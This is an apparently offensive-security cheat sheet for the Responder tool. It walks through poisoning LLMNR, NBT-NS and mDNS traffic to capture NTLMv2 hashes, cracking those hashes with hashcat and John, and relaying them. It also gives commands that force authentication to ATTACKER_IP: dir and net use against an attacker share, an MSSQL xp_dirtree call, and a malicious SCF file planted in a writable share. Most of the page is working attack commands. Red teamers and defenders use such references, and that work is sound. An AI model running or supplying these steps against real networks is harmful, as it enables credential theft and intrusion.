> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Responder

> Responder: LLMNR/NBT-NS/mDNS poisoning to capture NTLMv2 hashes on the network.

## Overview

Poisons LLMNR, NBT-NS, and mDNS requests on local network. When victim fails DNS resolution, Responder answers and captures NTLMv2 hash.

***

## Basic Usage

```bash theme={"dark"}
responder -I eth0
responder -I eth0 -wv              # WPAD proxy + verbose
```

***

## Analyze Mode (Passive)

Listen without poisoning — see what's on the network.

```bash theme={"dark"}
responder -I eth0 -A
```

***

## Common Flags

| Flag | Description               |
| ---- | ------------------------- |
| `-I` | Interface                 |
| `-A` | Analyze mode (passive)    |
| `-w` | Start WPAD proxy          |
| `-v` | Verbose                   |
| `-f` | Fingerprint hosts         |
| `-P` | Force NTLM auth for proxy |
| `-b` | Return basic HTTP auth    |

***

## Disable Services (For Relay)

When using with ntlmrelayx, disable SMB and HTTP so relay tool handles them.

```bash theme={"dark"}
# /etc/responder/Responder.conf
SMB = Off
HTTP = Off
```

```bash theme={"dark"}
responder -I eth0
```

***

## Captured Hashes

```bash theme={"dark"}
# Location
/usr/share/responder/logs/

# Format: NTLMv2
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt
```

***

## Crack NTLMv2

### Hashcat

```bash theme={"dark"}
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

### John

```bash theme={"dark"}
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

***

## Force Triggers

If no traffic captured naturally, force NTLM auth:

```bash theme={"dark"}
# From compromised host — trigger SMB auth
dir \\ATTACKER_IP\share
net use \\ATTACKER_IP\share

# Via MSSQL
EXEC xp_dirtree '\\ATTACKER_IP\share';

# Via shortcut file (.lnk/.scf) in writable share
```

### SCF File in Share

```ini theme={"dark"}
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop
```

Drop as `@file.scf` in writable share (@ sorts to top).

***

## MultiRelay (Responder Tool)

```bash theme={"dark"}
python /usr/share/responder/tools/MultiRelay.py -t TARGET -u ALL
```

***

## Quick Reference

| Task      | Command                             |
| --------- | ----------------------------------- |
| Capture   | `responder -I eth0`                 |
| Passive   | `responder -I eth0 -A`              |
| With WPAD | `responder -I eth0 -wv`             |
| Crack     | `hashcat -m 5600 hash.txt wordlist` |
| Logs      | `/usr/share/responder/logs/`        |